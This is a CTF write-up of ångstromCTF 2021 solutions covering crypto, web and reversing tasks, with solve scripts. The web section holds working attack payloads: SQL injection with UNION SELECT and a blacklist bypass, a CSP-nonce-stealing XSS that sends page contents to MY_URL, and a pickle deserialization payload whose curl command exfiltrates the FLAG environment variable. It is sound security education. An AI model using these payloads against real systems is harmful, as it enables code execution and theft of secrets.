ångstromCTF 2021 Writeup

Thu Apr 08 2021

    I participated in ångstromCTF 2021 as a member of WreckTheLine. The result was 11th/1245 (within teams with positive points). In this competition, we tried tasks which we were NOT good at. So I could tackle web tasks for a long time! ...though I could solve a few. In this article I introduce writeups for some tasks I tackled. I'll explicitly mention if the task is eventually solved by teammates.

    Crypto

    Home Rolled Crypto

    We were given hand-made block cipher and had to guess the encryption of given msg. Given block cipher is as follow:

    class Cipher:
        BLOCK_SIZE = 16
        ROUNDS = 3
    
        def __init__(self, key):
            assert len(key) == self.BLOCK_SIZE * self.ROUNDS
            self.key = key
    
        def __block_encrypt(self, block):
            enc = int.from_bytes(block, "big")
            for i in range(self.ROUNDS):
                k = int.from_bytes(
                    self.key[i * self.BLOCK_SIZE : (i + 1) * self.BLOCK_SIZE], "big"
                )
                enc &= k
                enc ^= k
            return hex(enc)[2:].rjust(self.BLOCK_SIZE * 2, "0")
    
        def __pad(self, msg):
            if len(msg) % self.BLOCK_SIZE != 0:
                return msg + (bytes([0]) * (self.BLOCK_SIZE - (len(msg) % self.BLOCK_SIZE)))
            else:
                return msg
    
        def encrypt(self, msg):
            m = self.__pad(msg)
            e = ""
            for i in range(0, len(m), self.BLOCK_SIZE):
                e += self.__block_encrypt(m[i : i + self.BLOCK_SIZE])
            return e.encode()

    We can guess each encrypted bit from input one in the same place because this block cipher has no substitution.

    from binascii import unhexlify
    
    from pwn import *
    
    
    r = remote("crypto.2021.chall.actf.co", 21602)
    
    # enc_list_0 has encrypted bits when input is 0
    r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "1")
    r.sendlineafter("What would you like to encrypt: ", "00" * Cipher.BLOCK_SIZE)
    enc = unhexlify(r.recvline().strip())
    enc_num = int.from_bytes(enc, "big")
    enc_list_0 = []
    for i in range(128):
        tmp = 1 << i
        enc_list_0.append(enc_num & tmp)
    
    # enc_list_1 has encrypted bits when input is 1
    enc_list_1 = []
    for i in range(128):
        tmp = 1 << i
        tmp_bytes = tmp.to_bytes(16, "big")
        r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "1")
        r.sendlineafter("What would you like to encrypt: ", tmp_bytes.hex())
        enc = unhexlify(r.recvline().strip())
        enc_list_1.append(int.from_bytes(enc, "big") & tmp)
    
    # Let's encrypt
    context.log_level = "DEBUG"
    r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "2")
    for _ in range(10):
        _ = r.recvuntil("Encrypt this: ")
        msg_all = unhexlify(r.recvline().strip())
        ans_all = ""
        for i in range(0, 32, 16):
            msg = msg_all[i: i+16]
            msg_num = int.from_bytes(msg, "big")
            ans = 0
            for i in range(128):
                if msg_num & (1 << i):
                    ans += enc_list_1[i]
                else:
                    ans += enc_list_0[i]
            ans_all += ans.to_bytes(16, "big").hex()
        r.sendline(ans_all)
    print(r.recvall())
    
    

    actf{no_bit_shuffling_is_trivial}

    Circle of Trust

    gen.py
    import random
    import secrets
    import math
    from decimal import Decimal, getcontext
    from Crypto.Cipher import AES
    
    BOUND = 2 ** 128
    MULT = 10 ** 10
    
    getcontext().prec = 50
    
    def nums(a):
        b = Decimal(random.randint(-a * MULT, a * MULT)) / MULT
        c = (a ** 2 - b ** 2).sqrt()
        if random.randrange(2):
            c *= -1
        return (b, c)
    
    
    with open("flag", "r") as f:
        flag = f.read().strip().encode("utf8")
    
    diff = len(flag) % 16
    if diff:
        flag += b"\x00" * (16 - diff)
    
    keynum = secrets.randbits(128)
    ivnum = secrets.randbits(128)
    
    key = int.to_bytes(keynum, 16, "big")
    iv = int.to_bytes(ivnum, 16, "big")
    
    x = Decimal(random.randint(1, BOUND * MULT)) / MULT
    for _ in range(3):
        (a, b) = nums(x)
        print(f"({keynum + a}, {ivnum + b})")
    
    cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    enc = cipher.encrypt(flag)
    print(enc.hex())

    We were given 3 (keynum + a, ivnum + b) pairs.

    Looking at carefully, as the task name suggested, I found that these 3 pairs were on the circle, whose radius was x and center was (keynum, ivnum). So all I had to do was calculate elementary geometry, with decimal dealt carefully.

    solve.py
    # sage
    from binascii import unhexlify
    
    from Crypto.Cipher import AES
    
    
    BOUND = 2 ** 128
    MULT = 10 ** 10
    
    enc = unhexlify(
        "838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76"
    )
    
    # sagemath
    k_a_list = list(
        [
            457020213401268758000507112920047694562582161398,
            552217331686024097808941630740787084233591522790,
            147829667933855179054593001600696671775906950984,
        ],
    )
    i_b_list = list(
        [
            3102063444240427633682053892994161421570035757114,
            3478849656138089624748664484183476717397027057536,
            3402400039416515433450745405594262911016949048470,
        ]
    )
    
    
    a0 = -(k_a_list[1] - k_a_list[0]) / (i_b_list[1] - i_b_list[0])
    x0 = (k_a_list[0] + k_a_list[1]) / 2
    y0 = (i_b_list[0] + i_b_list[1]) / 2
    a1 = -(k_a_list[2] - k_a_list[0]) / (i_b_list[2] - i_b_list[0])
    x1 = (k_a_list[0] + k_a_list[2]) / 2
    y1 = (i_b_list[0] + i_b_list[2]) / 2
    keynum = (a0 * x0 - y0 - a1 * x1 + y1) / (a0 - a1)
    ivnum = a0 * (keynum - x0) + y0
    key = int.to_bytes(int(round(keynum/MULT)), 16, "big")
    iv = int.to_bytes(int(round(ivnum/MULT)), 16, "big")
    
    cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    flag = cipher.decrypt(enc)
    print(flag)

    actf{elliptical_curve_minus_the_curve}

    Substitution

    chall.py
    #!/usr/bin/python
    
    from functools import reduce
    
    with open("flag", "r") as f:
        key = [ord(x) for x in f.read().strip()]
    
    
    def substitute(value):
        return (reduce(lambda x, y: x * value + y, key)) % 691
    
    
    print(
        "Enter a number and it will be returned with our super secret synthetic substitution technique"
    )
    while True:
        try:
            value = input("> ")
            if value == "quit":
                quit()
            value = int(value)
            enc = substitute(value)
            print(">> ", end="")
            print(enc)
        except ValueError:
            print("Invalid input. ")

    Let flag strings be fi(0i<n)f_i (0\le i < n) and input be xx. substitution(x) returns:

    i=0n1fixni1mod691\sum_{i=0}^{n-1} f_i x^{n-i-1} \mod 691

    So I collected the output when x=0690x=0 \dots 690:

    collect.py
    from pwn import *
    
    r = remote("crypto.2021.chall.actf.co", 21601)
    enc_list = []
    for i in range(691):
        r.sendlineafter("> ", str(i))
        _ = r.recvuntil(">> ")
        enc = int(r.recvline().strip())
        enc_list.append(enc)
    print(enc_list)

    and then solved simultaneous linear equations. Since the length of flag (=n=n) were unknown, I brute-forced it.

    solve.py
    # sage
    enc_list = [125, 492, 670, 39, 244, 257, 104, 615, 129, 520, 428, 599, 404, 468, 465, 523, 345, 44, 425, 515, 116, 120, 515, 283, 651, 199, 69, 388, 319, 410, 133, 267, 215, 352, 521, 270, 629, 564, 662, 640, 352, 351, 481, 103, 161, 106, 306, 360, 587, 318, 450, 314, 164, 185, 519, 85, 472, 343, 41, 652, 320, 581, 400, 259, 119, 525, 374, 434, 162, 661, 145, 360, 209, 302, 426, 285, 358, 610, 572, 366, 434, 627, 206, 427, 166, 527, 590, 189, 462, 148, 428, 140, 306, 163, 265, 249, 522, 66, 136, 332, 327, 51, 337, 173, 100, 23, 445, 523, 252, 655, 105, 391, 322, 127, 196, 476, 116, 58, 404, 218, 492, 60, 194, 479, 175, 390, 12, 66, 270, 227, 41, 189, 428, 3, 68, 356, 228, 101, 285, 93, 620, 94, 490, 411, 422, 161, 152, 258, 26, 588, 406, 382, 32, 140, 484, 114, 180, 483, 38, 397, 155, 206, 141, 599, 584, 589, 460, 68, 520, 617, 247, 243, 331, 339, 239, 323, 533, 159, 28, 491, 663, 115, 441, 451, 617, 267, 188, 222, 472, 483, 500, 576, 117, 517, 228, 545, 329, 14, 18, 411, 478, 247, 349, 322, 298, 287, 601, 520, 59, 177, 98, 150, 286, 587, 402, 494, 318, 269, 189, 527, 207, 154, 291, 538, 192, 161, 317, 485, 466, 119, 117, 123, 20, 120, 276, 24, 435, 672, 573, 676, 58, 596, 648, 126, 428, 183, 524, 133, 232, 281, 190, 169, 655, 314, 29, 378, 635, 286, 31, 111, 68, 105, 648, 467, 95, 496, 276, 468, 474, 607, 398, 295, 205, 221, 267, 310, 438, 382, 54, 384, 79, 423, 270, 271, 465, 33, 558, 483, 668, 646, 202, 438, 262, 580, 263, 78, 331, 560, 54, 138, 355, 154, 282, 653, 609, 249, 637, 563, 576, 676, 605, 499, 392, 542, 569, 543, 87, 207, 463, 297, 537, 65, 542, 335, 601, 116, 108, 2, 415, 67, 84, 263, 238, 310, 412, 562, 250, 640, 495, 507, 262, 389, 242, 470, 27, 540, 489, 79, 173, 77, 306, 522, 378, 674, 197, 116, 115, 642, 610, 474, 566, 621, 513, 82, 257, 279, 257, 69, 403, 688, 624, 169, 350, 140, 241, 74, 662, 477, 191, 308, 205, 249, 659, 530, 180, 542, 625, 614, 85, 522, 145, 192, 226, 272, 277, 416, 442, 625, 97, 168, 196, 662, 687, 364, 281, 685, 446, 619, 195, 644, 314, 197, 66, 547, 580, 621, 18, 519, 671, 22, 186, 2, 251, 347, 385, 84, 610, 394, 677, 43, 304, 597, 535, 509, 523, 618, 501, 637, 79, 521, 264, 554, 248, 38, 316, 271, 607, 613, 405, 473, 682, 462, 448, 153, 230, 227, 125, 58, 182, 453, 39, 412, 497, 165, 125, 614, 120, 592, 627, 224, 555, 391, 118, 580, 461, 381, 45, 325, 74, 507, 222, 253, 635, 458, 580, 202, 29, 320, 132, 515, 65, 49, 552, 492, 344, 367, 223, 189, 193, 517, 675, 123, 371, 122, 681, 59, 244, 203, 613, 586, 169, 111, 650, 420, 488, 309, 508, 300, 350, 413, 434, 430, 180, 588, 237, 300, 264, 299, 645, 595, 367, 450, 14, 1, 616, 350, 671, 528, 342, 173, 336, 318, 358, 476, 662, 36, 126, 400, 107, 207, 636, 275, 646, 93, 256, 484, 293, 58, 685, 232, 310, 345, 482, 100, 663, 41, 371, 122, 517, 570, 63, 583, 546, 283, 313, 270, 428, 398, 341, 690, 657, 183, 143, 129, 375, 398, 348, 6, 85, 267, 585, 354, 253, 278, 78, 133, 633, 513, 652, 299, 418, 634, 199, 610, 155, 405, 155, 190, 244, 356, 54, 187, 146, 505, 78, 454, 47, 616, 570, 208, 94, 208, 123, 451, 321, 74, 64, 395, 567, 215, 620, 420, 1, 620, 117, 488, 184, 644, 510, 426, 173, 12, 154, 292, 383, 590, 401, 472, 325, 236, 203, 681, 513, 513, 329, 553, 371, 470, 612, 30, 181, 572, 620, 429, 655, 366, 504, 251, 485, 612, 377, 471, 336, 142, 589, 572, 676, 373, 632, 528, 495, 265, 204, 13, 617, 482, 45, 560, 130, 487, 18, 125]
    
    for n in range(5, 100):
        A = matrix(Zmod(691), n, n)
        for i in range(n):
            for j in range(n):
                A[i, j] = pow(i, n-j-1, 691)
        b = enc_list[:n]
        f = A.solve_right(b)
        tmp_prefix = "".join(map(chr, f[:5]))
        if "actf{" in tmp_prefix:
            print("".join(map(chr, f)))
            break

    actf{polynomials_20a829322766642530cf69}

    Oracle of Blair

    server.py
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    import os
    
    key = os.urandom(32)
    flag = open("flag", "rb").read()
    
    while 1:
        try:
            i = bytes.fromhex(input("give input: "))
            if not i:
                break
        except:
            break
        iv = os.urandom(16)
        inp = i.replace(b"{}", flag)
        if len(inp) % 16:
            inp = pad(inp, 16)
        print(inp)
        print(AES.new(key, AES.MODE_CBC, iv=iv).decrypt(inp).hex())

    We can input any bytes, with {} replaced to flag, and decrypt it by AES with CBC mode. When we input "\x00" * 16 + ("\x00" * 15 + "?") + ("\x00" * 15 + {}), it's replaced with "\x00" * 16 + ("\x00" * 15 + "?") + ("\x00" * 15 + "a") + "ctf{...}" This is decrypted to Dec("\x00" * 16) + [Dec("\x00" * 15 + "?") xor "\x00" * 16] + [Dec("\x00" * 15 + "a") xor ("\x00 * 15 + "?")] + ... (Dec is the decryption of AES) So comparing between 2nd and 3rd block, we can find what "?" should be. For example, only when "?" is "a", 2nd block equals to 3rd block xored by "\x00" * 15 + "a"

    We can find all characters by shifting them iteratively.

    solve.py
    from binascii import hexlify, unhexlify
    
    from pwn import *
    
    r = remote("crypto.2021.chall.actf.co", 21112)
    
    FLAG_LEN = 25
    flag = b""
    
    for idx in range(16):
        for i in range(32, 128):
            tmp = b"\x00" * (15 - idx) + flag + i.to_bytes(1, "big")
            r.sendlineafter(
                "give input: ",
                "00" * 16 + hexlify(tmp).decode() + "00" * (15 - idx) + "7b7d",
            )
            ret = unhexlify(r.recvline().strip())
            if xor(ret[32:48], tmp) == ret[16:32]:
                print("found!")
                flag += i.to_bytes(1, "big")
                print(flag)
                break
    
    for idx in range(9):
        for i in reversed(range(32, 128)):
            tmp = flag[1 + idx : 16 + idx] + i.to_bytes(1, "big")
            tmp2 = b"\x00" * (15 - idx) + flag[: idx + 1]
            r.sendlineafter(
                "give input: ",
                "00" * 16 + hexlify(tmp).decode() + "00" * (15 - idx) + "7b7d",
            )
            ret = unhexlify(r.recvline().strip())
            if xor(ret[48:64], tmp2) == ret[16:32]:
                print("found!")
                flag += i.to_bytes(1, "big")
                print(flag)
                break

    actf{cbc_more_like_ecb_c}

    Thunderbolt

    We were given binary, which read flag and encrypt user inputs.

    I noticed that the output was randomly generated and the length of it was the same as of flag. Since this is not rev but crypto task, I guessed there was a bias vulnerability. I checked this by the following scripts:

    check.py
    import subprocess
    from collections import Counter
    
    test_flag = "ABCD"
    with open("flag", "w") as f:
        f.write(test_flag)
    N = len(test_flag)
    
    cmd = "./chall"
    
    enc_cnt_list = [Counter() for _ in range(N)]
    for _ in range(1000):
        p = subprocess.run(cmd.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
        for j in range(N):
            enc = p.stdout[-1 - 2 * N + 2 * j : -1 - 2 * N + 2 * (j + 1)].decode()
            enc_cnt_list[j][enc] += 1
    
    for i, enc_cnt in enumerate(enc_cnt_list):
        print(i)
        for k, v in enc_cnt.most_common(2):
            print(k, v)
        print("=" * 80)
    0
    41 36
    6d 10
    ================================================================================
    1
    42 26
    75 10
    ================================================================================
    2
    43 23
    ca 11
    ================================================================================
    3
    44 23
    d7 11
    ================================================================================
    

    As I guessed, the most popular character equals to the flag. I wrote a script to collect encryption. It was needed to call remote so many times that I multiprocessed it (sorry for server load...)

    solve.py
    from collections import Counter
    from concurrent import futures
    
    from pwn import *
    
    N = 55
    enc_cnt_list = [Counter() for _ in range(N)]
    
    
    def get_enc(enc_cnt_list):
        r = remote("crypto.2021.chall.actf.co", 21603)
        r.sendlineafter("Enter a string to encrypt: ", "")
        enc = r.recvline().strip()
        for j in range(N):
            tmp = enc[2 * j : 2 * (j + 1)].decode()
            enc_cnt_list[j][tmp] += 1
    
    
    with futures.ThreadPoolExecutor(max_workers=32) as executor:
        for _ in range(3200):
            executor.submit(get_enc, enc_cnt_list=enc_cnt_list)
    flag = b""
    for enc_cnt in enc_cnt_list:
        flag += bytes.fromhex(enc_cnt.most_common(1)[0][0])
    print(flag)

    actf{watch_the_edge_cases_31b2eb7440e6992c33f3e5bbd184}

    Web

    Sea of Quills

    This is SQLi task.

    (snip)
    post '/quills' do
    	db = SQLite3::Database.new "quills.db"
    	cols = params[:cols]
    	lim = params[:limit]
    	off = params[:offset]
    	
    	blacklist = ["-", "/", ";", "'", "\""]
    	
    	blacklist.each { |word|
    		if cols.include? word
    			return "beep boop sqli detected!"
    		end
    	}
    
    	
    	if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
    		return "bad, no quills for you!"
    	end
    
    	@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
    
    	p @row
    
    	erb :specific
    end

    We can use UNION SELECT easily.

    $ curl -X POST -d 'cols=name, sql from sqlite_master UNION SELECT name, desc&limit=100&offset=0' https://seaofquills.2021.chall.actf.co/quills
    (snip)
    					<img src="flagtable" class="w3 h3">
    				<li class="pb5 pl3">CREATE TABLE flagtable (
    		flag varchar(30)
    	) <ul><li></li></ul></li><br />
    (snip)
    $ curl -X POST -d 'cols=flag FROM flagtable UNION SELECT name&limit=100&offset=0' https://seaofquills.2021.chall.actf.co/quills
    (snip)
    					<img src="actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}" class="w3 h3">
    				<li class="pb5 pl3"> <ul><li></li></ul></li><br />
    (snip)
    

    actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}

    nomnomnom

    This is an XSS task.

    index.js
    (snip)
    app.get('/shares/:shareName', function(req, res) {
    	// TODO: better page maybe...? would attract those sweet sweet vcbucks
    	if (!(req.params.shareName in shares)) {
    		return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
    	}
    
    	const share = shares[req.params.shareName];
    	const score = share.score;
    	const name = share.name;
    	const nonce = crypto.randomBytes(16).toString('hex');
    	let extra = '';
    
    	if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) {
    		extra = `deletion token: <code>${process.env.FLAG}</code>`
    	}
    
    	return res.send(`
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
    		<title>snek nomnomnom</title>
    	</head>
    	<body>
    		${extra}${extra ? '<br /><br />' : ''}
    		<h2>snek goes <em>nomnomnom</em></h2><br />
    		Check out this score of ${score}! <br />
    		<a href='/'>Play!</a> <button id='reporter'>Report.</button> <br />
    		<br />
    		This score was set by ${name}
    		<script nonce='${nonce}'>
    function report() {
    	fetch('/report/${req.params.shareName}', {
    		method: 'POST'
    	});
    }
    
    document.getElementById('reporter').onclick = () => { report() };
    		</script> 
    		
    	</body>
    </html>`);
    });
    
    app.post('/report/:shareName', async function(req, res) {
    	if (!(req.params.shareName in shares)) {
    		return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
    	}
    
    	await visiter.visit(
    		nothisisntthechallenge,
    		`http://localhost:9999/shares/${req.params.shareName}`
    	);
    })
    (snip)
    visiter.js
    const puppeteer = require('puppeteer')
    const fs = require('fs')
    
    async function visit(secret, url) {
    	const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })
    	var page = await browser.newPage()
    	await page.setCookie({
    		name: 'no_this_is_not_the_challenge_go_away',
    		value: secret,
    		domain: 'localhost',
    		samesite: 'strict'
    	})
    	await page.goto(url)
    
    	// idk, race conditions!!! :D
    	await new Promise(resolve => setTimeout(resolve, 500));
    	await page.close()
    	await browser.close()
    }

    The flag can be shown when cookie no_this_is_not_the_challenge_go_away is set correctly. This correct cookie is set in visiter.visit. The CSP is applied for XSS.

    Looking at visiter.js, I found that browser was set to firefox explicitly. I googled and found this site (Japanese).

    <html>
      <body>
        <script src="data:text/javascript,alert('XSS')"
        <script nonce="random123">doGoodStuff()</script>
      </body>
    </html>

    (cited from above site)

    Even when we don't know nonce, <script without close > can steal the following script's nonce. This is fixed by chrome, but not by firefox.

    So I wrote and ran this script:

    solve.py
    import requests
    
    url = "https://nomnomnom.2021.chall.actf.co"
    payload_name = "<script src=\"data:text/javascript,fetch('/shares/hint', {method: 'GET', credentials: 'include'}).then(r => r.text()).then(text => location='MY_URL?q='+escape(text))\""
    payload_score = 2
    
    r = requests.post(f"{url}/record", json={"name": payload_name, "score": payload_score})
    print(r.text)

    After that curl -X POST https://nomnomnom.2021.chall.actf.co/report/SHARE_NAME. I can get a flag as a query.

    actf{w0ah_the_t4g_n0mm3d_th1ng5}

    Spoofy

    app.py
    from flask import Flask, Response, request
    import os
    from typing import List
    
    FLAG: str = os.environ.get("FLAG") or "flag{fake_flag}"
    with open(__file__, "r") as f:
        SOURCE: str = f.read()
    
    app: Flask = Flask(__name__)
    
    
    def text_response(body: str, status: int = 200, **kwargs) -> Response:
        return Response(body, mimetype="text/plain", status=status, **kwargs)
    
    
    @app.route("/source")
    def send_source() -> Response:
        return text_response(SOURCE)
    
    
    @app.route("/")
    def main_page() -> Response:
        if "X-Forwarded-For" in request.headers:
            # https://stackoverflow.com/q/18264304/
            # Some people say first ip in list, some people say last
            # I don't know who to believe
            # So just believe both
            ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
            if not ips:
                return text_response("How is it even possible to have 0 IPs???", 400)
            if ips[0] != ips[-1]:
                return text_response(
                    "First and last IPs disagree so I'm just going to not serve this request.",
                    400,
                )
            ip: str = ips[0]
            if ip != "1.3.3.7":
                return text_response("I don't trust you >:(", 401)
            return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
        else:
            return text_response("Please run the server through a proxy.", 400)

    I wrote and deployed to Heroku the following script in order to do some experiments:

    print_headers.py
    from flask import Flask, request
    import json
    
    app = Flask(__name__)
    
    
    @app.route("/")
    def root():
        return json.dumps(dict(request.headers))
    
    
    if __name__ == "__main__":
        app.run()

    I didn't know why but I found adding X-Forwarded-For twice could work. curl -H 'X-Forwarded-For:1.3.3.7' -H 'X-Forwarded-For:, 1.3.3.7' https://actf-spoofy.herokuapp.com/

    actf{spoofing_is_quite_spiffy}

    Jar

    jar.py
    (snip)
    flag = os.environ.get("FLAG", "actf{FAKE_FLAG}")
    (snip)
    @app.route("/")
    def jar():
        contents = request.cookies.get("contents")
        if contents:
            items = pickle.loads(base64.b64decode(contents))
        else:
            items = []
        return (
            '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">'
            + "".join(
                f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>'
                for item in items
            )
        )
    (snip)

    It uses pickle to load contents. flag is read from env variables. I referred to this site to make a payload for pickle and wrote the following script.

    solve.py
    import base64
    import requests
    
    code = b"""cos
    system
    (S'curl MY_URL -d $(echo $FLAG)'
    tR.)"""
    payload = base64.b64encode(code).decode()
    
    url = "https://jar.2021.chall.actf.co/"
    requests.get(url, cookies={"contents": payload})

    actf{you_got_yourself_out_of_a_pickle}

    Sea of Quills 2

    (This task was solved by teammates)

    This is almost the same task as Sea of Quills. The differences are following:

    3a4
    > set :server, :puma
    5a7
    > set :environment, :production
    27c29
    < 	blacklist = ["-", "/", ";", "'", "\""]
    ---
    > 	blacklist = ["-", "/", ";", "'", "\"", "flag"]
    36c38
    < 	if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
    ---
    > 	if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)

    The word flag is added to blacklist and the length of cols becomes restricted.

    We can skip the following sentences by \0

    $ curl -X POST -d 'cols=sql FROM sqlite_master %00&limit=100&offset=0' https://seaofquills-two.2021.chall.actf.co/quills
    (snip)
    				<li class="pb5 pl3"> <ul><li></li></ul></li><br />
    				
    					<img src="CREATE TABLE flagtable (
    		flag varchar(30)
    	)" class="w3 h3">
    (snip)
    

    This is the same table name as the previous task. Since sqlite is insensitive to upper of lower case we can avoid blacklist using uppercase flag.

    $ curl -X POST -d 'cols=* FROM FLAGTABLE %00&limit=100&offset=0' https://seaofquills-two.2021.chall.actf.co/quills
    (snip)
    					<img src="actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}" class="w3 h3">
    (snip)
    

    actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}

    Rev

    lambda lambda

    We were given a script written by lambda function.

    I did some experiments and found the following:

    • Each character in each place is mapped to a certain value
    • Each mapped value are summed like 256-ary number

    So I determined the flag character by character.

    solve.py
    import subprocess
    
    cmd = "python chall.py"
    
    c = 2692665569775536810618960607010822800159298089096272924
    c_list = []
    while c:
        c_list.append(c % 256)
        c //= 256
    c_list = c_list[::-1]
    print(c_list)
    ans = b"actf{"
    
    out = c_list[0]
    for i in range(len(ans)):
        out = 256 * out + c_list[i+1]
    ans_int = int.from_bytes(ans, "big")
    for idx in range(len(ans), len(c_list)):
        for i in reversed(range(32, 128)):
            tmp_ans = ans + i.to_bytes(1, "big")
            with open("./flag.txt", "wb") as f:
                f.write(tmp_ans)
    
            p = subprocess.run(cmd.split(), stdout=subprocess.PIPE)
            tmp_out = int(p.stdout)
            if tmp_out % 256 == out % 256:
                print("found!")
                ans += chr(i).encode()
                print(ans)
                out = 256 * out + c_list[idx + 1]
                break
        else:
            print("not found...")
            ans += b"?"
            print(ans)
            out = 256 * out + c_list[idx + 1]

    I don't know why but the output was actf{3p1c_0n?_l1n3r_95}, 12th character was not found. I guessed it.

    actf{3p1c_0n3_l1n3r_95}

    RousTel

    We were given CPU architecture, program for encryption and encrypted flag.

    I downloaded logisim-generic-2.7.1.jar and opened roustel.circ and enc.ram. After that I did some experiments by modifying the memory and running the program. I found that the memory was updated like the following in each cycle:

    M[32] = 0  # for padding
    M[33] = 0  # for padding
    for i in range(32):
        M[i] = (M[i] ^ M[i+1]) + M[i+2]

    I wrote decoding script.

    solve.py
    enc = [0x62, 0xD6, 0x9D, 0x28, 0x8F, 0xEF, 0x6B, 0x0E, 0x5A, 0xE1, 0x68, 0x7B, 0xA2, 0x83, 0x5E, 0xFC, 0xCC, 0x03, 0x9A, 0x4B, 0x94, 0x39, 0x05, 0x4A, 0x27, 0x85, 0x95, 0x20, 0xB1, 0xA8, 0x1E, 0x7D,
           0x00,  # for padding
           0x00,  # for padding
    ]
    
    ans = [0] * 32
    
    for _ in range(1000):
        for i in reversed(range(32)):
            enc[i] = ((enc[i] - enc[i + 2]) % 256) ^ enc[i + 1]
        if b"actf{" in (tmp := bytes(enc[:32])):
            print(tmp)
            break

    actf{roustel_inside82f6270f973c}